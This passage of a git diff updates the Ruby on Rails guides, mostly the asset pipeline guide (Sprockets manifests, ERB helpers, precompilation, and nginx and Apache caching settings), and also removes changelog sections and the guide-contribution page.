environment's file is not set to +false+), this file is served by Sprockets unless a file at +public/assets/rails.png+ exists, in which case that file is served. +h5. CSS and ERB -Alternatively, a file with an MD5 hash after its name such as +public/assets/rails-af27b6a414e6da00003503148be9b409.png+ is also picked up by Sprockets. How these hashes are generated is covered in the "Production Assets":#production_assets section later on in this guide. +If you add an +erb+ extension to a CSS asset, making it something such as +application.css.erb+, then helpers like +asset_path+ are available in your CSS rules: -Otherwise, Sprockets looks through the available paths until it finds a file that matches the name and then serves it, first looking in the application's assets directories and then falling back to the various engines of the application. +<plain> +.class { background-image: url(<%= asset_path 'image.png' %>) } +</plain> + +This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as +app/assets/images/image.png+, which would be referenced here. If this image is already available in +public/assets+ as a fingerprinted file, then that path is referenced. -If you want to use a "css data URI":http://en.wikipedia.org/wiki/Data_URI_scheme -- a method of embedding the image data directly into the CSS file -- you can use the +asset_data_uri+ helper. +If you want to use a "data URI":http://en.wikipedia.org/wiki/Data_URI_scheme -- a method of embedding the image data directly into the CSS file -- you can use the +asset_data_uri+ helper. <plain> #logo { background: url(<%= asset_data_uri 'logo.png' %>) } @@ -142,37 +168,46 @@ If you want to use a "css data URI":http://en.wikipedia.org/wiki/Data_URI_scheme This inserts a correctly-formatted data URI into the CSS source. -h5. CSS and ERB +Note that the closing tag cannot be of the style +-%>+. -If you add an +erb+ extension to a CSS asset, making it something such as +application.css.erb+, then you can use the +asset_path+ helper in your CSS rules: +h5. CSS and Sass -<plain> -.class { background-image: <%= asset_path 'image.png' %> } -</plain> +When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +-url+ and +-path+ helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet. -This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as +app/assets/images/image.png+, which would be referenced here. If this image is already available in +public/assets+ as a fingerprinted file, then that path is referenced. +* +image-url("rails.png")+ becomes +url(/assets/rails.png)+ +* +image-path("rails.png")+ becomes +"/assets/rails.png"+. -Note that the closing tag cannot be of the style +-%>+. +The more generic form can also be used but the asset path and class must both be specified: -h5. CSS and SCSS +* +asset-url("rails.png", image)+ becomes +url(/assets/rails.png)+ +* +asset-path("rails.png", image)+ becomes +"/assets/rails.png"+ -When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +_url+ and +_path+ helpers for the following asset classes: image, font, video, audio, javascript, stylesheet. +h5. JavaScript/CoffeeScript and ERB -* +image_url("rails.png")+ becomes +url(/assets/rails.png)+ -* +image_path("rails.png")+ becomes +"/assets/rails.png"+. +If you add an +erb+ extension to a JavaScript asset, making it something such as +application.js.erb+, then you can use the +asset_path+ helper in your JavaScript code: -The more generic form can also be used but the asset path and class must both be specified: +<erb> +$('#logo').attr({ + src: "<%= asset_path('logo.png') %>" +}); +</erb> + +This writes the path to the particular asset being referenced. -* +asset_url("rails.png", "image")+ becomes +url(/assets/rails.png)+ -* +asset_path("rails.png", "image")+ becomes +"/assets/rails.png"+ +Similarly, you can use the +asset_path+ helper in CoffeeScript files with +erb+ extension (eg. +application.js.coffee.erb+): + +<plain> +$('#logo').attr src: "<%= asset_path('logo.png') %>" +</plain> h4. Manifest Files and Directives -Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ -- instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if +Rails.application.config.assets.compress+ is set to +true+). By serving one file rather than many, the load time of pages are greatly reduced as there are fewer requests to make. +Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ -- instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if +Rails.application.config.assets.compress+ is true). By serving one file rather than many, the load time of pages are greatly reduced as there are fewer requests to make. For example, in the default Rails application there's a +app/assets/javascripts/application.js+ file which contains the following lines: <plain> +// ... //= require jquery //= require jquery_ujs //= require_tree . @@ -180,9 +215,11 @@ For example, in the default Rails application there's a +app/assets/javascripts/ In JavaScript files, the directives begin with +//=+. In this case, the file is using the +require+ and the +require_tree+ directives. The +require+ directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files +jquery.js+ and +jquery_ujs.js+ that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a +.js+ file when done from within a +.js+ file. -NOTE. In Rails 3.1, the +jquery.js+ and +jquery_ujs.js+ files are located inside the +vendor/assets/javascripts+ directory contained within the +jquery-rails+ gem. +NOTE. In Rails 3.1 the +jquery-rails+ gem provides the +jquery.js+ and +jquery_ujs.js+ files via the asset pipeline. You won't see them in the application tree. + +The +require_tree+ directive tells Sprockets to recursively include _all_ JavaScript files in this directory into the output. Only a path relative to the manifest file can be specified. There is also a +require_directory+ directive which includes all JavaScript files only in the directory specified (no nesting). -The +require_tree .+ directive tells Sprockets to include _all_ JavaScript files in this directory into the output. Only a path relative to the file can be specified. There is also a +require_directory+ directive which includes all JavaScript files only in the directory specified (no nesting). +Directives are processed top to bottom, but the order in which files are included by +require_tree+ is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other, require it before in the manifest. Note that the family of +require+ directives prevents files from being included twice in the output. There's also a default +app/assets/stylesheets/application.css+ file which contains these lines: @@ -199,7 +236,7 @@ In this example +require_self+ is used. This puts the CSS contained within the f You can have as many manifest files as you need. For example the +admin.css+ and +admin.js+ manifest could contain the JS and CSS files that are used for the admin section of an application. -For some assets (like CSS) the compiled order is important. You can specify individual files and they are compiled in the order specified: +The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified: <plain> /* ... @@ -212,69 +249,96 @@ For some assets (like CSS) the compiled order is important. You can specify indi h4. Preprocessing -The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an +app/assets/javascripts/projects.js.coffee+ and a +app/assets/stylesheets/projects.css.scss+ file. +The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an +app/assets/javascripts/projects.js.coffee+ and an +app/assets/stylesheets/projects.css.scss+ file. When these files are requested, they are processed by the processors provided by the +coffee-script+ and +sass-rails+ gems and then sent back to the browser as JavaScript and CSS respectively. -Additional layers of pre-processing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called +app/assets/stylesheets/projects.css.scss.erb+ is first processed as ERB, then SCSS and finally served as CSS. The same applies to a JavaScript file -- +app/assets/javascripts/projects.js.coffee.erb+ is processed as ERB, CoffeeScript and served as JavaScript. +Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called +app/assets/stylesheets/projects.css.scss.erb+ is first processed as ERB, then SCSS and finally served as CSS. The same applies to a JavaScript file -- +app/assets/javascripts/projects.js.coffee.erb+ is processed as ERB, CoffeeScript, and served as JavaScript. -Keep in mind that the order of these pre-processors is important. For example, if you called your JavaScript file +app/assets/javascripts/projects.js.erb.coffee+ then it is processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems. +Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file +app/assets/javascripts/projects.js.erb.coffee+ then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems. h3. In Development -In the development environment assets are compiled and cached on the first request after the server is started. Sprockets sets a +must-validate+ Cache-Control HTTP header to reduce request overhead on subsequent requests - on these the browser gets a 304 (not-modified) response. +In development mode assets are served as separate files in the order they are specified in the manifest file. -If any of the files in the manifest have changed between requests, the server responds with a new compiled file. - -h4. Debugging Assets - -You can put +?debug_assets=true+ or +?debug_assets=1+ at the end of a URL or set +config.assets.debug+ and Sprockets expands the lines which load the assets. For example, if you had an +app/assets/javascripts/application.js+ file containing these lines: +This manifest +app/assets/javascripts/application.js+: <plain> -//= require "projects" -//= require "tickets" +//= require core +//= require projects +//= require tickets </plain> -By default, this only renders this line when used with +<%= javascript_include_tag "application" %>+ in a view or layout: +would generate this HTML: <html> -<script src='/assets/application.js'></script> +<script src="/assets/core.js?body=1" type="text/javascript"></script> +<script src="/assets/projects.js?body=1" type="text/javascript"></script> +<script src="/assets/tickets.js?body=1" type="text/javascript"></script> </html> -When the +debug_assets+ parameter is set, this line is expanded out into three separate lines, separating out the combined file into their parts. +The +body+ param is required by Sprockets. + +h4. Turning Debugging off + +You can turn off debug mode by updating +config/environments/development.rb+ to include: + +<ruby> +config.assets.debug = false +</ruby> + +When debug mode is off Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead: <html> -<script src='/assets/application.js'></script> -<script src='/assets/projects.js'></script> -<script src='/assets/tickets.js'></script> +<script src="/assets/application.js" type="text/javascript"></script> </html> -This allows the individual parts of an asset to be rendered and debugged separately. +Assets are compiled and cached on the first request after the server is started. Sprockets sets a +must-revalidate+ Cache-Control HTTP header to reduce request overhead on subsequent requests -- on these the browser gets a 304 (Not Modified) response. + +If any of the files in the manifest have changed between requests, the server responds with a new compiled file. + +Debug mode can also be enabled in the Rails helper methods: + +<erb> +<%= stylesheet_link_tag "application", :debug => true %> +<%= javascript_include_tag "application", :debug => true %> +</erb> + +The +:debug+ option is redundant if debug mode is on. -NOTE. Assets debugging is turned on by default in development and test environments. +You could potentially also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging. h3. In Production -In the production environment, assets are served slightly differently. +In the production environment Rails uses the fingerprinting scheme outlined above. By default it is assumed that assets have been precompiled and will be served as static assets by your web server. -On the first request the assets are compiled and cached as described above, however the manifest names are altered to include an MD5 hash. Files names typically look like these: +During the precompilation phase an MD5 is generated from the contents of the compiled files, and inserted into the filenames as they are written to disc. These fingerprinted names are used by the Rails helpers in place of the manifest name. -<plain> -/assets/application-908e25f4bf641868d8683022a5b62f54.js -/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css -</plain> +For example this: + +<erb> +<%= javascript_include_tag "application" %> +<%= stylesheet_link_tag "application" %> +</erb> -The MD5 is generated from the contents of the compiled files, and is included in the HTTP +Content-MD5+ header. +generates something like this: -Sprockets also sets the +Cache-Control+ HTTP header to +max-age=31536000+. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache. +<html> +<script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js" type="text/javascript"></script> +<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" rel="stylesheet" type="text/css" /> +</html> + +The fingerprinting behavior is controlled by the setting of +config.assets.digest+ setting in Rails (which is +true+ for production, +false+ for everything else). -This behavior is controlled by the setting of +config.assets.digest+ setting in Rails (which is +true+ for production, +false+ for everything else). +NOTE: Under normal circumstances the default option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes. h4. Precompiling Assets -Even though assets are served by Rack::Cache with far-future headers, in high traffic sites this may not be fast enough. +Rails comes bundled with a rake task to compile the asset manifests and other files in the pipeline to the disk. -Rails comes bundled with a rake task to compile the manifests to files on disc. These are located in the +public/assets+ directory where they are served by your web server instead of the Rails application. +Compiled assets are written to the location specified in +config.assets.prefix+. The default setting will use the +public/assets+ directory. + +You must use this task either during deployment or locally if you do not have write access to your production filesystem. The rake task is: @@ -282,29 +346,40 @@ The rake task is: bundle exec rake assets:precompile </plain> -Capistrano (v2.8.0+) has a recipe to handle this in deployment. Add the following line to +Capfile+: +For faster asset precompiles, you can partially load your application by setting ++config.assets.initialize_on_precompile+ to false, though in that case templates +cannot see application objects or methods. *Heroku requires this to be false.* + +WARNING: If you set +config.assets.initialize_on_precompile+ to false, be sure to +test +rake assets:precompile+ locally before deploying. It may expose bugs where +your assets reference application objects or methods, since those are still +in scope in development mode regardless of the value of this flag. + +Capistrano (v2.8.0 and above) has a recipe to handle this in deployment. Add the following line to +Capfile+: <erb> load 'deploy/assets' </erb> -This links the folder specified in +config.assets.prefix+ to +shared/assets+. If you already use this folder you'll need to write your own deployment task. +This links the folder specified in +config.assets.prefix+ to +shared/assets+. If you already use this shared folder you'll need to write your own deployment task. It is important that this folder is shared between deployments so that remotely cached pages that reference the old compiled assets still work for the life of the cached page. +NOTE. If you are precompiling your assets locally, you can use +bundle install --without assets+ on the server to avoid installing the assets gems (the gems in the assets group in the Gemfile). + The default matcher for compiling files includes +application.js+, +application.css+ and all files that do not end in +js+ or +css+: <ruby> -[ /\w+\.(?!js|css).+/, /application.(css|js)$/ ] +[ /\w<plus>\.(?!js|css).<plus>/, /application.(css|js)$/ ] </ruby> -If you have other manifests or individual stylesheets and JavaScript files to include, you can append them to the +precompile+ array: +If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the +precompile+ array: <erb> config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js'] </erb> -The rake task also generates a +manifest.yml+ that contains a list with all your assets and their fingerprints, using this manifest file the assets helpers avoid hitting to Sprockets to recalculate MD5 hashes for files. Manifest file typically look like this: +The rake task also generates a +manifest.yml+ that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods and avoids handing the mapping requests back to Sprockets. A typical manifest file looks like: <plain> --- @@ -315,8 +390,17 @@ application.js: application-3fdab497b8fb70d20cfc5495239dfc29.js application.css: application-8af74128f904600e41a6e39241464e03.css </plain> -The manifest file is generated by default in same folder of your precompiled assets, you can change the location of the file setting the +config.assets.manifest+ option with the full path of the folder where you want save it. +The default location for the manifest is the root of the location specified in +config.assets.prefix+ ('/assets' by default). + +This can be changed with the +config.assets.manifest+ option. A fully specified path is required: + +<erb> +config.assets.manifest = '/path/to/some/other/location' +</erb> + +NOTE: If there are missing precompiled files in production you will get an <tt>AssetNoPrecompiledError</tt> exception indicating the name of the missing file(s). +h5. Server Configuration Precompiled assets exist on the filesystem and are served directly by your webserver. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add them. @@ -336,9 +420,23 @@ For Apache: </LocationMatch> </plain> -TODO: nginx instructions +For nginx: + +<plain> +location ~ ^/assets/ { + expires 1y; + add_header Cache-Control public; + + # Some browsers still send conditional-GET requests if there's a + # Last-Modified header or an ETag header even if they haven't + # reached the expiry date sent in the Expires header. + add_header Last-Modified ""; + add_header ETag ""; + break; +} +</plain> -When files are precompiled, Sprockets also creates a "Gzip":http://en.wikipedia.org/wiki/Gzip (.gz) version of your assets. This avoids the server having to do this for any requests; it can simply read the compressed files from disc. You must configure your server to use gzip compression and serve the compressed assets that will be stored in the public/assets folder. The following configuration options can be used: +When files are precompiled, Sprockets also creates a "Gzip":http://en.wikipedia.org/wiki/Gzip (.gz) version of your assets. This avoids the server having to do this for any requests; it can simply read the compressed files from disk. You must configure your server to use gzip compression and serve the compressed assets that will be stored in the +public/assets+ folder. The following configuration options can be used: For Apache: @@ -347,16 +445,16 @@ For Apache: # 2 lines to serve pre-gzipped version RewriteCond %{REQUEST_FILENAME}.gz -s RewriteRule ^(.+) $1.gz [L] - - # without it, Content-Type will be "application/x-gzip" - <FilesMatch .*\.css.gz> - ForceType text/css - </FilesMatch> - - <FilesMatch .*\.js.gz> - ForceType text/javascript - </FilesMatch> </LocationMatch> + +# without these, Content-Type will be "application/x-gzip" +<FilesMatch "^/assets/.*\.css.gz$"> + ForceType text/css +</FilesMatch> + +<FilesMatch "^/assets/.*\.js.gz$"> + ForceType text/javascript +</FilesMatch> </plain> For nginx: @@ -370,14 +468,35 @@ location ~ ^/(assets)/ { } </plain> -By default Rails assumes that you have your files precompiled in the production environment, if you want use live compiling (compile your assets during runtime) in production you must set the +config.assets.compile+ to true. You can use this option to fallback to Sprockets when you are using precompiled assets but there are any missing precompiled files. If +config.assets.compile+ option is set to false and there are missing precompiled files you will get an "AssetNoPrecompiledError" indicating the name of the missing file. +h4. Live Compilation -h3. Customizing the Pipeline +In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly. + +To enable this option set: + +<erb> +config.assets.compile = true +</erb> + +On the first request the assets are compiled and cached as outlined in development above, and the manifest names used in the helpers are altered to include the MD5 hash. + +Sprockets also sets the +Cache-Control+ HTTP header to +max-age=31536000+. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache. + +This mode uses more memory, performs poorer than the default and is not recommended. +When deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile: + +<plain> +group :production do + gem 'therubyracer' +end +</plain> + +h3. Customizing the Pipeline h4. CSS Compression -There is currently one option for compressing CSS - YUI. This Gem extends the CSS syntax and offers minification. +There is currently one option for compressing CSS, YUI. The "YUI CSS compressor":http://developer.yahoo.com/yui/compressor/css.html provides minification. The following line enables YUI compression, and requires the +yui-compressor+ gem. @@ -385,9 +504,9 @@ The following line enables YUI compression, and requires the +yui-compressor+ ge config.assets.css_compressor = :yui </erb> -The +config.assets.compress+ must be set to +true+ to enable CSS compression +The +config.assets.compress+ must be set to +true+ to enable CSS compression. -h4. JavaScript +h4. JavaScript Compression Possible options for JavaScript compression are +:closure+, +:uglifier+ and +:yui+. These require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems respectively. @@ -401,6 +520,8 @@ config.assets.js_compressor = :uglifier The +config.assets.compress+ must be set to +true+ to enable JavaScript compression +NOTE: You will need a "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use +uglifier+. If you are using Mac OS X or Windows you have installed a JavaScript runtime in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes. + h4. Using Your Own Compressor The compressor config settings for CSS and JavaScript also take any Object. This object must have a +compress+ method that takes a string as the sole argument and it must return a string. @@ -447,7 +568,7 @@ WARNING: If you are upgrading an existing application and intend to use this opt h3. How Caching Works -Sprockets uses the default rails cache store to cache assets in dev and production. The only difference is file names are fingerprinted and get far-future headers in production. +Sprockets uses the default Rails cache store to cache assets in development and production. TODO: Add more about changing the default store. @@ -463,7 +584,7 @@ TODO: Registering gems on "Tilt":https://github.com/rtomayko/tilt enabling Sproc h3. Upgrading from Old Versions of Rails -There are two issues when upgrading. The first is moving the files to the new locations. See the section above for guidance on the correct locations for different file types. +There are two issues when upgrading. The first is moving the files to the new locations. See the section above for guidance on the correct locations for different file types. The second is updating the various environment files with the correct default options. The following changes reflect the defaults in version 3.1.0. @@ -475,6 +596,9 @@ config.assets.enabled = true # Version of your assets, change this if you want to expire all your assets config.assets.version = '1.0' + +# Change the path that assets are served from +# config.assets.prefix = "/assets" </erb> In +development.rb+: @@ -493,10 +617,14 @@ And in +production.rb+: # Compress JavaScripts and CSS config.assets.compress = true +# Choose the compressors to use +# config.assets.js_compressor = :uglifier +# config.assets.css_compressor = :yui + # Don't fallback to assets pipeline if a precompiled asset is missed config.assets.compile = false -# Generate digests for assets URLs +# Generate digests for assets URLs. config.assets.digest = true # Defaults to Rails.root.join("public/assets") @@ -506,4 +634,35 @@ config.assets.digest = true # config.assets.precompile += %w( search.js ) </erb> -There are no changes to +test.rb+. +There are no changes to +test.rb+. The defaults in the test environment are: +config.assets.compile+ is true and +config.assets.compress+, +config.assets.debug+ and +config.assets.digest+ are false. + +The following should also be added to +Gemfile+: + +<plain> +# Gems used only for assets and not required +# in production environments by default. +group :assets do + gem 'sass-rails', "~> 3.1.0" + gem 'coffee-rails', "~> 3.1.0" + gem 'uglifier' +end +</plain> + +If you use the +assets+ group with Bundler, please make sure that your +config/application.rb+ has the following Bundler require statement. + +<ruby> +if defined?(Bundler) + # If you precompile assets before deploying to production, use this line + Bundler.require *Rails.groups(:assets => %w(development test)) + # If you want your assets lazily compiled in production, use this line + # Bundler.require(:default, :assets, Rails.env) +end +</ruby> + +Instead of the old Rails 3.0 one + +<ruby> +# If you have a Gemfile, require the gems listed there, including any gems +# you've limited to :test, :development, or :production. +Bundler.require(:default, Rails.env) if defined?(Bundler) +</ruby> diff --git a/railties/guides/source/association_basics.textile b/railties/guides/source/association_basics.textile index ce4ff0389d..f5f0f9340c 100644 --- a/railties/guides/source/association_basics.textile +++ b/railties/guides/source/association_basics.textile @@ -1855,17 +1855,8 @@ class Customer < ActiveRecord::Base end </ruby> -Extensions can refer to the internals of the association proxy using these three accessors: +Extensions can refer to the internals of the association proxy using these three attributes of the +proxy_association+ accessor: -* +proxy_owner+ returns the object that the association is a part of. -* +proxy_reflection+ returns the reflection object that describes the association. -* +proxy_target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+. - -h3. Changelog - -* April 7, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* April 19, 2009: Added +:touch+ option to +belongs_to+ associations by "Mike Gunderloy":credits.html#mgunderloy -* February 1, 2009: Added +:autosave+ option "Mike Gunderloy":credits.html#mgunderloy -* September 28, 2008: Corrected +has_many :through+ diagram, added polymorphic diagram, some reorganization by "Mike Gunderloy":credits.html#mgunderloy . First release version. -* September 22, 2008: Added diagrams, misc. cleanup by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* September 14, 2008: initial version by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) +* +proxy_association.owner+ returns the object that the association is a part of. +* +proxy_association.reflection+ returns the reflection object that describes the association. +* +proxy_association.target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+. diff --git a/railties/guides/source/caching_with_rails.textile b/railties/guides/source/caching_with_rails.textile index 693303950d..19378d63ce 100644 --- a/railties/guides/source/caching_with_rails.textile +++ b/railties/guides/source/caching_with_rails.textile @@ -403,14 +403,3 @@ end h3. Further reading * "Scaling Rails Screencasts":http://railslab.newrelic.com/scaling-rails - -h3. Changelog - -* Feb 17, 2011: Document 3.0.0 changes to ActiveSupport::Cache -* May 02, 2009: Formatting cleanups -* April 26, 2009: Clean up typos in submitted patch -* April 1, 2009: Made a bunch of small fixes -* February 22, 2009: Beefed up the section on cache_stores -* December 27, 2008: Typo fixes -* November 23, 2008: Incremental updates with various suggested changes and formatting cleanup -* September 15, 2008: Initial version by Aditya Chadha diff --git a/railties/guides/source/configuring.textile b/railties/guides/source/configuring.textile index 798f8e405e..41b53440f7 100644 --- a/railties/guides/source/configuring.textile +++ b/railties/guides/source/configuring.textile @@ -124,7 +124,7 @@ Rails 3.1, by default, is set up to use the +sprockets+ gem to manage assets wit * +config.assets.compress+ a flag that enables the compression of compiled assets. It is explicitly set to true in +config/production.rb+. -* +config.assets.css_compressor+ defines the CSS compressor to use. Only supported value at the moment is +:yui+, which uses the +yui-compressor+ gem. +* +config.assets.css_compressor+ defines the CSS compressor to use. It is set by default by +sass-rails+. The unique alternative value at the moment is +:yui+, which uses the +yui-compressor+ gem. * +config.assets.js_compressor+ defines the JavaScript compressor to use. Possible values are +:closure+, +:uglifier+ and +:yui+ which require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems respectively. @@ -134,15 +134,15 @@ Rails 3.1, by default, is set up to use the +sprockets+ gem to manage assets wit * +config.assets.prefix+ defines the prefix where assets are served from. Defaults to +/assets+. -* +config.assets.digest+ enables the use of MD5 fingerprints in asset names. Set to +true+ by default in +production.rb+ +* +config.assets.digest+ enables the use of MD5 fingerprints in asset names. Set to +true+ by default in +production.rb+. -* +config.assets.debug+ disables the concatenation and compression of assets. Set to +false+ by default in +development.rb+ +* +config.assets.debug+ disables the concatenation and compression of assets. Set to +false+ by default in +development.rb+. -* +config.assets.manifest+ defines the full path to be used for the asset precompiler's manifest file. Defaults to using +config.assets.prefix+ +* +config.assets.manifest+ defines the full path to be used for the asset precompiler's manifest file. Defaults to using +config.assets.prefix+. * +config.assets.cache_store+ defines the cache store that Sprockets will use. The default is the Rails file store. -* +config.assets.version+ is an option string that is used in MD5 hash generation. This can be changed to force all files to be recompiled. +* +config.assets.version+ is an option string that is used in MD5 hash generation. This can be changed to force all files to be recompiled. * +config.assets.compile+ is a boolean that can be used to turn on live Sprockets compilation in production. @@ -179,7 +179,7 @@ h4. Configuring Middleware Every Rails application comes with a standard set of middleware which it uses in this order in the development environment: -* +Rack::SSL+ Will force every request to be under HTTPS protocol. Will be available if +config.force_ssl+ is set to +true+. +* +Rack::SSL+ Will force every request to be under HTTPS protocol. Will be available if +config.force_ssl+ is set to +true+. Options passed to this can be configured by using +config.ssl_options+. * +ActionDispatch::Static+ is used to serve static assets. Disabled if +config.serve_static_assets+ is +true+. * +Rack::Lock+ Will wrap the app in mutex so it can only be called by a single thread at a time. Only enabled if +config.action_controller.allow_concurrency+ is set to +false+, which it is by default. * +ActiveSupport::Cache::Strategy::LocalCache+ Serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread. @@ -604,11 +604,3 @@ The error occurred while evaluating nil.each *+set_routes_reloader+* Configures Action Dispatch to reload the routes file using +ActionDispatch::Callbacks.to_prepare+. *+disable_dependency_loading+* Disables the automatic dependency loading if the +config.cache_classes+ is set to true and +config.dependency_loading+ is set to false. - -h3. Changelog - -* December 3, 2010: Added initialization events for Rails 3 ("Ryan Bigg":http://ryanbigg.com) -* November 26, 2010: Removed all config settings not available in Rails 3 ("Ryan Bigg":http://ryanbigg.com) -* August 13, 2009: Updated with config syntax and added general configuration options by "John Pignata" -* January 3, 2009: First reasonably complete draft by "Mike Gunderloy":credits.html#mgunderloy -* November 5, 2008: Rough outline by "Mike Gunderloy":credits.html#mgunderloy diff --git a/railties/guides/source/contribute.textile b/railties/guides/source/contribute.textile deleted file mode 100644 index f9bb80861c..0000000000 --- a/railties/guides/source/contribute.textile +++ /dev/null @@ -1,70 +0,0 @@ -h2. Contribute to the Rails Guides - -Rails Guides aim to improve the Rails documentation and to make the barrier to entry as low as possible. A reasonably experienced developer should be able to use the guides to come up to speed on Rails quickly. Our sponsors have contributed prizes for those who write an entire guide, but there are many other ways to contribute. - -endprologue. - -h3. How to Contribute? - -* We have an open commit policy: anyone is welcome to contribute and to review contributions. -* "docrails is hosted on GitHub":https://github.com/lifo/docrails and has public write access. -* Guides are written in Textile, and reside at +railties/guides/source+ in the docrails project. -* Follow the "Rails Guides Conventions":https://wiki.github.com/lifo/docrails/rails-guides-conventions. -* Assets are stored in the +railties/guides/assets+ directory. -* Sample format : "Active Record Associations":https://github.com/lifo/docrails/blob/3e56a3832415476fdd1cb963980d0ae390ac1ed3/railties/guides/source/association_basics.textile. -* Sample output : "Active Record Associations":association_basics.html. -* You can build the Guides during testing by running +bundle exec rake generate_guides+ in the +railties+ directory. -* You're encouraged to validate XHTML for the generated guides before committing your changes by running +bundle exec rake validate_guides+ in the +railties+ directory. -* Edge guides "can be consulted online":http://edgeguides.rubyonrails.org/. That website is generated periodically from docrails. - -h3. What to Contribute? - -* We need authors, editors, proofreaders, and translators. Adding a single paragraph of quality content to a guide is a good way to get started. -* The easiest way to start is by improving an existing guide: -** Improve the structure to make it more coherent. -** Add missing information. -** Correct any factual errors. -** Fix typos or improve style. -** Bring it up to date with the latest Edge Rails. -* We're also open to suggestions for entire new guides: -** Contact lifo or fxn to get your idea approved. See the Contact section below. -** If you're the main author on a significant guide, you're eligible for the prizes. - -h3. How is the process? - -* The preferred way to contribute is to commit to docrails directly. -* A new guide is only edited by its author until finished though. -* If you are writing a new guide freely commit to docrails partial work and ping lifo or fxn when done with a first draft. -* Guides reviewers will then provide feedback, some of it possibly in form of direct commits to agilize the process. -* Eventually the guide will be approved and added to the index. - -h3. Prizes - -For each completed guide, the lead contributor will receive all of the following prizes: - -* $200 from Caboose Rails Documentation Project. -* 1 year of GitHub Micro account worth $84. -* 1 year of RPM Basic (Production performance management) for up to 10 hosts worth 12 months x $40 per host x 10 hosts = $4800. And also, savings of $45 per host per month over list price to upgrade to advanced product. - -h3. Rules - -* Guides are licensed under a Creative Commons Attribution-Share Alike 3.0 License. -* If you're not sure whether a guide is actively being worked on, stop by IRC and ask. -* If the same guide writer wants to write multiple guides, that's ideally the situation we'd love to be in! However, that guide writer will only receive the cash prize for all the subsequent guides (and not the GitHub or RPM prizes). -* Our review team will have the final say on whether the guide is complete and of good enough quality. - -All authors should read and follow the "Rails Guides Conventions":ruby_on_rails_guides_guidelines.html and the "Rails API Documentation Conventions":api_documentation_guidelines.html. - -h3. Translations - -The translation effort for the Rails Guides is just getting underway. We know about projects to translate the Guides into Spanish, Portuguese, Polish, and French. For more details or to get involved see the "Translating Rails Guides":https://wiki.github.com/lifo/docrails/translating-rails-guides page. - -h3. Mailing List - -"Ruby on Rails: Documentation":http://groups.google.com/group/rubyonrails-docs is the mailing list for all the guides/documentation related discussions. - -h3. Contact - -* IRC : #docrails channel in irc.freenode.net -* Twitter: "@docrails":http://twitter.com/docrails, "@lifo":http://twitter.com/lifo, "@fxn":http://twitter.com/fxn -* Email : pratiknaik aT gmail, fxn aT hashref dot com diff --git a/railties/guides/source/contributing_to_ruby_on_rails.textile b/railties/guides/source/contributing_to_ruby_on_rails.textile index 4706725bb6..5848172510 100644 --- a/railties/guides/source/contributing_to_ruby_on_rails.textile +++ b/railties/guides/source/contributing_to_ruby_on_rails.textile @@ -120,6 +120,10 @@ The test suite of Active Record attempts to run four times, once for SQLite3, on WARNING: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against MySQL. 